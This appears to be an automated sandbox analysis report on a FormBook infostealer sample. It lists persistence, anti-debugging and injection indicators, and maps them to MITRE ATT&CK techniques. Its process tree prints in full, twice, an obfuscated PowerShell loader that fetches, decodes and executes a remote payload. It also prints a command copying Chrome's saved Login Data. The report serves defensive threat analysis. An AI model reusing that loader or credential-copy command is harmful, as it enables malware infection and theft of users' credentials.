formbook | fb9b78d96329f702bac81e025a7716aa7cd8c698e77f62bab8770add34a35357

Modify Registry

description	ioc	Process
Key created	\Registry\User\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	explorer.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	5060	WScript.exe
18	2864	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EVUHO = "C:\\Program Files (x86)\\windows mail\\wab.exe"	explorer.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
4560	wab.exe
4560	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3000	powershell.exe
4560	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3000 set thread context of 4560	3000	powershell.exe	97
PID 4560 set thread context of 3456	4560	wab.exe	56
PID 4560 set thread context of 3456	4560	wab.exe	56
PID 4740 set thread context of 3456	4740	explorer.exe	56

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\Registry\User\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	explorer.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
2864	powershell.exe
2864	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
4560	wab.exe
4560	wab.exe
4560	wab.exe
4560	wab.exe
4560	wab.exe
4560	wab.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe

Suspicious behavior: MapViewOfSection 9 IoCs

pid	Process
3000	powershell.exe
4560	wab.exe
4560	wab.exe
4560	wab.exe
4560	wab.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe
4740	explorer.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	4560	wab.exe
Token: SeShutdownPrivilege	3456	Explorer.EXE
Token: SeCreatePagefilePrivilege	3456	Explorer.EXE
Token: SeDebugPrivilege	4740	explorer.exe
Token: SeShutdownPrivilege	3456	Explorer.EXE
Token: SeCreatePagefilePrivilege	3456	Explorer.EXE
Token: SeShutdownPrivilege	3456	Explorer.EXE
Token: SeCreatePagefilePrivilege	3456	Explorer.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5060 wrote to memory of 2864	5060	WScript.exe	84
PID 5060 wrote to memory of 2864	5060	WScript.exe	84
PID 2864 wrote to memory of 4884	2864	powershell.exe	86
PID 2864 wrote to memory of 4884	2864	powershell.exe	86
PID 2864 wrote to memory of 3000	2864	powershell.exe	91
PID 2864 wrote to memory of 3000	2864	powershell.exe	91
PID 2864 wrote to memory of 3000	2864	powershell.exe	91
PID 3000 wrote to memory of 5028	3000	powershell.exe	93
PID 3000 wrote to memory of 5028	3000	powershell.exe	93
PID 3000 wrote to memory of 5028	3000	powershell.exe	93
PID 3000 wrote to memory of 4560	3000	powershell.exe	97
PID 3000 wrote to memory of 4560	3000	powershell.exe	97
PID 3000 wrote to memory of 4560	3000	powershell.exe	97
PID 3000 wrote to memory of 4560	3000	powershell.exe	97
PID 3000 wrote to memory of 4560	3000	powershell.exe	97
PID 3456 wrote to memory of 4740	3456	Explorer.EXE	99
PID 3456 wrote to memory of 4740	3456	Explorer.EXE	99
PID 3456 wrote to memory of 4740	3456	Explorer.EXE	99
PID 4740 wrote to memory of 1032	4740	explorer.exe	100
PID 4740 wrote to memory of 1032	4740	explorer.exe	100
PID 4740 wrote to memory of 1032	4740	explorer.exe	100
PID 4740 wrote to memory of 1060	4740	explorer.exe	102
PID 4740 wrote to memory of 1060	4740	explorer.exe	102
PID 4740 wrote to memory of 1060	4740	explorer.exe	102

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\birectangular.vbs"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Fantasibilledernes Ansttelsesomraadets Grammates Methodizing Skumredes Synostose Macrotone Guls Scyphiform245 Nonconservation Mirks171 Bonaire Vejrskifte Tekstspalte Forsorgshjemmets Rhyton Skoenne Fullbacks Solbadets Afsnitsindrykningerne Bordeauxvine tyngende Sporingsstationens afnazificering Fantasibilledernes Ansttelsesomraadets Grammates Methodizing Skumredes Synostose Macrotone Guls Scyphiform245 Nonconservation Mirks171 Bonaire Vejrskifte Tekstspalte Forsorgshjemmets Rhyton Skoenne Fullbacks Solbadets Afsnitsindrykningerne Bordeauxvine tyngende Sporingsstationens afnazificering';If (${host}.CurrentCulture) {$Fortrd++;}Function Jimmis($Poria){$Jumpily=$Poria.Length-$Fortrd;$Anteopercle='SUBsTRI';$Anteopercle+='ng';For( $Racialisation=4;$Racialisation -lt $Jumpily;$Racialisation+=5){$Fantasibilledernes+=$Poria.$Anteopercle.Invoke( $Racialisation, $Fortrd);}$Fantasibilledernes;}function Fluorideringen($Uncouthly){ . ($Flanconnade) ($Uncouthly);}$Hoosegow=Jimmis 'Un.eMSklvoFlipz ,deiR,prlSpa lk,nnaAlle/Or,i5tilb. ,dn0Bran Sam,(UndeWCrediJo.nnImprdUdsno Udlw HorsBesl aldNBemyTPrim Vas.1Neig0 Kem.Irri0,lde;Bl,t .onaWRe,aiPaahn .on6 Tre4Wagg; arm Bru.xK rs6Nost4Educ; Wo. CounrklorvB.ot:Lysa1regn2Fald1Xmas. Ans0 S.d)Elek KrooGUstiemuhacRestk acoo S.j/came2 P,e0Pa.r1Sk m0Skil0H al1Radr0Foot1Vomi CharFTovaiStikrLeveeOverf FrdoGoloxBrss/unde1Majo2 enn1Okke.Prdi0S,nn ';$Neurocanal151=Jimmis 'UlydUEmpesSloweIlsarQ,nd- .laA PrigInteeGleanFishtskin ';$Skumredes=Jimmis 'BrochSp,ktbookt .onpfac,sStri:Male/ Afa/ Carl DisaRafrrBiocrSvelyB,cof Undr AngaPre,n UngkBree.StancMaybpPal.a ,an/HereN.bekeU,orgDiamuAnoms M t8Cons5Eoga.S.udcIdylshe,lv Gra ';$Minty=Jimmis 'Mero>Jamr ';$Flanconnade=Jimmis ' M.liSidee Sslx.ype ';$Lansquenet='Guls';$Andejagterne = Jimmis 'VelkeSlaucFl.nhNontohydr L.m%Aadsapa.ap SubpForsdCa iaviv.tMiddaP,la%Semi\SikkC SidoE,tanRskncToogoRdbyrSpaddPersaCo elOhmm6 yd.MounU chedHydasForb Am m&Gall& St. SingeMoancT,reh Truo Ade Forbt Hyp ';Fluorideringen (Jimmis 'Piep$.lyhgTreblAc roAntib Arbakumeltest: F.lMW.ttykryso ,hapres.lObfuaFumisHoustSwaniLaarcKons=E,te(HavfcLsevm Litd Sv. ok e/R ascMonc ,mmi$Da,eA Ke niri,dHoddeber j entaAx igParatCodaeIdenrUnpen kiheU.ad)Symp ');Fluorideringen (Jimmis 'Bdep$MirkgWea.lPreco Sexb UheaEighlVgel:DenoM UnseGodit,ambh ageosk,ldRe pi P.ezOminiRealn A,vgFrdi=anet$BlomSBombkSlanu Re.mTakirNa oeDeted rateFrolsSkri.Jords RegpEvanl .ipiAerotBrne(He e$FornM ResiOve.nHvidtorobyKo i)ba,a ');Fluorideringen (Jimmis ' er[deerNBlomeK.sttNig,.ReveSCohaeSlumrSk.fvPro,iKni c ybeTandPFrago Ob iDetan Hu,tArr.MBogbaGorenGra.aNonbgHjste Ungr raa]afgr:Fors: SukSunteedevocJantuLighrVoksiSmletCol.yM.toPPro rTahio.ourt Aflo UdvcLynto N,tl Til Scin= bin Dis,[Br dN DeveD,litObtu.LubeS kaeSmugc Resu SclrQuediInfrtZardy HyaPUnprrlrdooScout CraoMalpcmi,io OsclOplaT ordyNeappRe aeHaak] cuc:Shoo: DamTKvldlP.tpsmorp1Unde2U.de ');$Skumredes=$Methodizing[0];$Asprout= (Jimmis 'ps,u$ ffgSpidlStiroBrasbAdozaRudilPa t:,espNCh pyS ydk iltr Me iAutot enpiN nnkGlobkUpcueR llrfor nE.iceDjuks Non=CataNSouteDksdwU og- eneOTeleb,egejTh seTarmc bu.tint, medlSDropyGirss.athtOpree,hormRock..ritNIridetroutModi.SengWKopieBeskbPrinCGiftl ,eri.yvteColin .nit');$Asprout+=$Myoplastic[1];Fluorideringen ($Asprout);Fluorideringen (Jimmis 'Sa.f$ EndNTidsyretskAu,irTykmiDesttUddaiemptkDybfkBoureNatirAfp,nDdedeInkls R,a.CaboHrodneno,taBlomdvac e BikrK,desAloe[ Lin$CalaN .eceBillu Konr.mbroTrykcPoliaCruenShamaVamplUnac1Iglo5Yaff1 Red]Peri=F,de$M,noH Co.oAzoro Au.spapieUntagCystoRverwMaci ');$Antilogical=Jimmis 'Nedl$ RakN Prey ,opktallrGadeiKonstVer iApatkSatsk uleOverrNontnKodeeInussBlou. In DGrafoSchww Rumn El l AfrogallaDen.d.aasFStr,iDis lCupeeUdrj(Tas,$Mo,lSCrumk K.vuHy,omKo,mrAgnoeTripdR steRandsCa.a,Mi.j$Coypt Lany AponFlokgFloweDyn.nPlind CareUnbo)S mp ';$tyngende=$Myoplastic[0];Fluorideringen (Jimmis 'Dagk$ChargH,rrlSprioklepb Bega SublJ.mb:beskBRevid scrl Beledgn rSamasDeci=Egen(Ha,fTPrikeOversSku,tIndh-bimaPV riaTurrtNycthL no Natu$ Prit PreyAgisnPladg ntie EurnPantdKnageBags) Vrl ');while (!$Bdlers) {Fluorideringen (Jimmis 'None$ U sgAffelBoploPsylbPengaBrunlHand: sabSGre,y killSanstDelae E.stStilj RhosAf.rk,agdr Udeu Bu.kImpukPraceTopm=Timb$TarptPog,rCoulust te.rbi ') ;Fluorideringen $Antilogical;Fluorideringen (Jimmis ' BarSOph.tHy,eaMangrAvertCh.r-TotaSCitrl.axieAfkleBadmpn,na Hove4Afha ');Fluorideringen (Jimmis ' Hyd$Convg Haal minoMultbK nta ucllAbno:rummBOutfdFortl TroeSkumrBlgesDist=Midt(AltsTKna.eGenisVeritBall-PatePToe.aNonmtTolkh Ri. .tvb$Sndet,epeyHal.nUrogg Forese snSvovdCradeS.bs)Inha ') ;Fluorideringen (Jimmis 'Stok$ etrgSucclSindo TigbRustaR nglA.ph:FiskGExter JetaVa,mm LaimTaleaspart UngePhoss.toc=drug$WishgJ.hnlTyveoBefubFen.a pojlSial:.kvaASu anUr,isKonft DertAuslemrkelMoh.sMe,heSy esDrn oKosmm RecrSl,daAt.laUnmidSno,eBa mtuds.sDepo+Co y+H,pa% Tri$AfmaMFre eEjentDog h DetoTr.ndSaltiHo,sz OmgiSwinnMortg ,il.DelecVaeroDetau Ye.nSquatVan ') ;$Skumredes=$Methodizing[$Grammates];}$Marmorgulvenes=308881;$Renhedsgraders=29541;Fluorideringen (Jimmis ' The$Arbeg Nu,l Jugo.rombHyloa Stol Cou:,riaSAadscTochynu hp.raph xoiReplfUdadoEnerrBattmArnk2Barn4Bra,5Af,a ,aug= For iliGKokuesttttBary-Kon CSvinoFejln Spit TreeumaanTvant Ind Beto$LinitMajoyOparnTordgE uieBannnStvld,etheSeis ');Fluorideringen (Jimmis ' Meg$AcclgKerblTrepo EnsbClinaHvidltrac:TeknUSillnDe,iaHa,pn,ejltUnliiT,syqSa,iuArenaAbr,tGenneTurvd Scl Mist= Alk pre,[ SegS Foly,abesFlyvt,ulpeSlagm.arj.CaddCPitcoSolbnRerov IndeUnh rLactt ira] Win: ete:FrakFD.ifrChi oM.ngmQuipBHypoa LilsRedhe St,6Sous4SlapSBnhrtTromr K riPropnAstigScus( Waa$H liSHou,cEtagyStnkpTheahFolkiIa,rfknudoProprAfgimSer,2Genn4Sp.r5Krum) Fri ');Fluorideringen (Jimmis 'Trip$StargRep,lOveroTylsbbesta UnplCoal:DigyBbrusoIn knBlreaass,iUnecrRusseTokr Ste.=Kili Mod[VirkS Ga,yImpusHypstGrfberelimElod. SutTFasaeS.atxu dat,jer.archEDogmnSlapc .inoPiledS.ggiFuninSmmegPh.s]Steg: ns: creAFakeSMalvCSn wI MetI m n.pos GEtagearchtUmidS engtAnstrAfskiCivinFilogRe a(Kerm$.ehjU.phenTonia AranTubat Da,iKl iqFondu heraA.amtDataeEnked ,or)Morb ');Fluorideringen (Jimmis 'Sulp$CestgPolylImmeoi.vobDiska Brul F.n:Hv,dP Bi.rresaiph,toOsterHicciRejet Srge StatSlidsForphL beaDetovUnevePigerSkleeJgernfaddsSk,a= Su.$UnwaBDev oAlarnprogaSpliiProtrMoldeRe.u.TrfssShapu I tbDeposTak tforbrVid i SphnGaargcor.(Harp$ ,erMAnneaWomarUnchm S.goForjrPedigFr,nuImpulFiscvkommeMellnPen eUr ts M.d,schm$MythRGentehus n arihfibeetjredVrngsGunsgNormrH.lba kardMo meWorkr Saus S.u)nabo ');Fluorideringen $Prioritetshaverens;"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Concordal6.Uds && echo t"
      4⤵
      PID:4884
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Fantasibilledernes Ansttelsesomraadets Grammates Methodizing Skumredes Synostose Macrotone Guls Scyphiform245 Nonconservation Mirks171 Bonaire Vejrskifte Tekstspalte Forsorgshjemmets Rhyton Skoenne Fullbacks Solbadets Afsnitsindrykningerne Bordeauxvine tyngende Sporingsstationens afnazificering Fantasibilledernes Ansttelsesomraadets Grammates Methodizing Skumredes Synostose Macrotone Guls Scyphiform245 Nonconservation Mirks171 Bonaire Vejrskifte Tekstspalte Forsorgshjemmets Rhyton Skoenne Fullbacks Solbadets Afsnitsindrykningerne Bordeauxvine tyngende Sporingsstationens afnazificering';If (${host}.CurrentCulture) {$Fortrd++;}Function Jimmis($Poria){$Jumpily=$Poria.Length-$Fortrd;$Anteopercle='SUBsTRI';$Anteopercle+='ng';For( $Racialisation=4;$Racialisation -lt $Jumpily;$Racialisation+=5){$Fantasibilledernes+=$Poria.$Anteopercle.Invoke( $Racialisation, $Fortrd);}$Fantasibilledernes;}function Fluorideringen($Uncouthly){ . ($Flanconnade) ($Uncouthly);}$Hoosegow=Jimmis 'Un.eMSklvoFlipz ,deiR,prlSpa lk,nnaAlle/Or,i5tilb. ,dn0Bran Sam,(UndeWCrediJo.nnImprdUdsno Udlw HorsBesl aldNBemyTPrim Vas.1Neig0 Kem.Irri0,lde;Bl,t .onaWRe,aiPaahn .on6 Tre4Wagg; arm Bru.xK rs6Nost4Educ; Wo. CounrklorvB.ot:Lysa1regn2Fald1Xmas. Ans0 S.d)Elek KrooGUstiemuhacRestk acoo S.j/came2 P,e0Pa.r1Sk m0Skil0H al1Radr0Foot1Vomi CharFTovaiStikrLeveeOverf FrdoGoloxBrss/unde1Majo2 enn1Okke.Prdi0S,nn ';$Neurocanal151=Jimmis 'UlydUEmpesSloweIlsarQ,nd- .laA PrigInteeGleanFishtskin ';$Skumredes=Jimmis 'BrochSp,ktbookt .onpfac,sStri:Male/ Afa/ Carl DisaRafrrBiocrSvelyB,cof Undr AngaPre,n UngkBree.StancMaybpPal.a ,an/HereN.bekeU,orgDiamuAnoms M t8Cons5Eoga.S.udcIdylshe,lv Gra ';$Minty=Jimmis 'Mero>Jamr ';$Flanconnade=Jimmis ' M.liSidee Sslx.ype ';$Lansquenet='Guls';$Andejagterne = Jimmis 'VelkeSlaucFl.nhNontohydr L.m%Aadsapa.ap SubpForsdCa iaviv.tMiddaP,la%Semi\SikkC SidoE,tanRskncToogoRdbyrSpaddPersaCo elOhmm6 yd.MounU chedHydasForb Am m&Gall& St. SingeMoancT,reh Truo Ade Forbt Hyp ';Fluorideringen (Jimmis 'Piep$.lyhgTreblAc roAntib Arbakumeltest: F.lMW.ttykryso ,hapres.lObfuaFumisHoustSwaniLaarcKons=E,te(HavfcLsevm Litd Sv. ok e/R ascMonc ,mmi$Da,eA Ke niri,dHoddeber j entaAx igParatCodaeIdenrUnpen kiheU.ad)Symp ');Fluorideringen (Jimmis 'Bdep$MirkgWea.lPreco Sexb UheaEighlVgel:DenoM UnseGodit,ambh ageosk,ldRe pi P.ezOminiRealn A,vgFrdi=anet$BlomSBombkSlanu Re.mTakirNa oeDeted rateFrolsSkri.Jords RegpEvanl .ipiAerotBrne(He e$FornM ResiOve.nHvidtorobyKo i)ba,a ');Fluorideringen (Jimmis ' er[deerNBlomeK.sttNig,.ReveSCohaeSlumrSk.fvPro,iKni c ybeTandPFrago Ob iDetan Hu,tArr.MBogbaGorenGra.aNonbgHjste Ungr raa]afgr:Fors: SukSunteedevocJantuLighrVoksiSmletCol.yM.toPPro rTahio.ourt Aflo UdvcLynto N,tl Til Scin= bin Dis,[Br dN DeveD,litObtu.LubeS kaeSmugc Resu SclrQuediInfrtZardy HyaPUnprrlrdooScout CraoMalpcmi,io OsclOplaT ordyNeappRe aeHaak] cuc:Shoo: DamTKvldlP.tpsmorp1Unde2U.de ');$Skumredes=$Methodizing[0];$Asprout= (Jimmis 'ps,u$ ffgSpidlStiroBrasbAdozaRudilPa t:,espNCh pyS ydk iltr Me iAutot enpiN nnkGlobkUpcueR llrfor nE.iceDjuks Non=CataNSouteDksdwU og- eneOTeleb,egejTh seTarmc bu.tint, medlSDropyGirss.athtOpree,hormRock..ritNIridetroutModi.SengWKopieBeskbPrinCGiftl ,eri.yvteColin .nit');$Asprout+=$Myoplastic[1];Fluorideringen ($Asprout);Fluorideringen (Jimmis 'Sa.f$ EndNTidsyretskAu,irTykmiDesttUddaiemptkDybfkBoureNatirAfp,nDdedeInkls R,a.CaboHrodneno,taBlomdvac e BikrK,desAloe[ Lin$CalaN .eceBillu Konr.mbroTrykcPoliaCruenShamaVamplUnac1Iglo5Yaff1 Red]Peri=F,de$M,noH Co.oAzoro Au.spapieUntagCystoRverwMaci ');$Antilogical=Jimmis 'Nedl$ RakN Prey ,opktallrGadeiKonstVer iApatkSatsk uleOverrNontnKodeeInussBlou. In DGrafoSchww Rumn El l AfrogallaDen.d.aasFStr,iDis lCupeeUdrj(Tas,$Mo,lSCrumk K.vuHy,omKo,mrAgnoeTripdR steRandsCa.a,Mi.j$Coypt Lany AponFlokgFloweDyn.nPlind CareUnbo)S mp ';$tyngende=$Myoplastic[0];Fluorideringen (Jimmis 'Dagk$ChargH,rrlSprioklepb Bega SublJ.mb:beskBRevid scrl Beledgn rSamasDeci=Egen(Ha,fTPrikeOversSku,tIndh-bimaPV riaTurrtNycthL no Natu$ Prit PreyAgisnPladg ntie EurnPantdKnageBags) Vrl ');while (!$Bdlers) {Fluorideringen (Jimmis 'None$ U sgAffelBoploPsylbPengaBrunlHand: sabSGre,y killSanstDelae E.stStilj RhosAf.rk,agdr Udeu Bu.kImpukPraceTopm=Timb$TarptPog,rCoulust te.rbi ') ;Fluorideringen $Antilogical;Fluorideringen (Jimmis ' BarSOph.tHy,eaMangrAvertCh.r-TotaSCitrl.axieAfkleBadmpn,na Hove4Afha ');Fluorideringen (Jimmis ' Hyd$Convg Haal minoMultbK nta ucllAbno:rummBOutfdFortl TroeSkumrBlgesDist=Midt(AltsTKna.eGenisVeritBall-PatePToe.aNonmtTolkh Ri. .tvb$Sndet,epeyHal.nUrogg Forese snSvovdCradeS.bs)Inha ') ;Fluorideringen (Jimmis 'Stok$ etrgSucclSindo TigbRustaR nglA.ph:FiskGExter JetaVa,mm LaimTaleaspart UngePhoss.toc=drug$WishgJ.hnlTyveoBefubFen.a pojlSial:.kvaASu anUr,isKonft DertAuslemrkelMoh.sMe,heSy esDrn oKosmm RecrSl,daAt.laUnmidSno,eBa mtuds.sDepo+Co y+H,pa% Tri$AfmaMFre eEjentDog h DetoTr.ndSaltiHo,sz OmgiSwinnMortg ,il.DelecVaeroDetau Ye.nSquatVan ') ;$Skumredes=$Methodizing[$Grammates];}$Marmorgulvenes=308881;$Renhedsgraders=29541;Fluorideringen (Jimmis ' The$Arbeg Nu,l Jugo.rombHyloa Stol Cou:,riaSAadscTochynu hp.raph xoiReplfUdadoEnerrBattmArnk2Barn4Bra,5Af,a ,aug= For iliGKokuesttttBary-Kon CSvinoFejln Spit TreeumaanTvant Ind Beto$LinitMajoyOparnTordgE uieBannnStvld,etheSeis ');Fluorideringen (Jimmis ' Meg$AcclgKerblTrepo EnsbClinaHvidltrac:TeknUSillnDe,iaHa,pn,ejltUnliiT,syqSa,iuArenaAbr,tGenneTurvd Scl Mist= Alk pre,[ SegS Foly,abesFlyvt,ulpeSlagm.arj.CaddCPitcoSolbnRerov IndeUnh rLactt ira] Win: ete:FrakFD.ifrChi oM.ngmQuipBHypoa LilsRedhe St,6Sous4SlapSBnhrtTromr K riPropnAstigScus( Waa$H liSHou,cEtagyStnkpTheahFolkiIa,rfknudoProprAfgimSer,2Genn4Sp.r5Krum) Fri ');Fluorideringen (Jimmis 'Trip$StargRep,lOveroTylsbbesta UnplCoal:DigyBbrusoIn knBlreaass,iUnecrRusseTokr Ste.=Kili Mod[VirkS Ga,yImpusHypstGrfberelimElod. SutTFasaeS.atxu dat,jer.archEDogmnSlapc .inoPiledS.ggiFuninSmmegPh.s]Steg: ns: creAFakeSMalvCSn wI MetI m n.pos GEtagearchtUmidS engtAnstrAfskiCivinFilogRe a(Kerm$.ehjU.phenTonia AranTubat Da,iKl iqFondu heraA.amtDataeEnked ,or)Morb ');Fluorideringen (Jimmis 'Sulp$CestgPolylImmeoi.vobDiska Brul F.n:Hv,dP Bi.rresaiph,toOsterHicciRejet Srge StatSlidsForphL beaDetovUnevePigerSkleeJgernfaddsSk,a= Su.$UnwaBDev oAlarnprogaSpliiProtrMoldeRe.u.TrfssShapu I tbDeposTak tforbrVid i SphnGaargcor.(Harp$ ,erMAnneaWomarUnchm S.goForjrPedigFr,nuImpulFiscvkommeMellnPen eUr ts M.d,schm$MythRGentehus n arihfibeetjredVrngsGunsgNormrH.lba kardMo meWorkr Saus S.u)nabo ');Fluorideringen $Prioritetshaverens;"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3000
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Concordal6.Uds && echo t"
        5⤵
        
        PID:5028
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        5⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:4560
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\SysWOW64\explorer.exe"
  2⤵
  - Adds policy Run key to start application
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Windows\SysWOW64\cmd.exe
    /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
    3⤵
    PID:1032
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:1060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System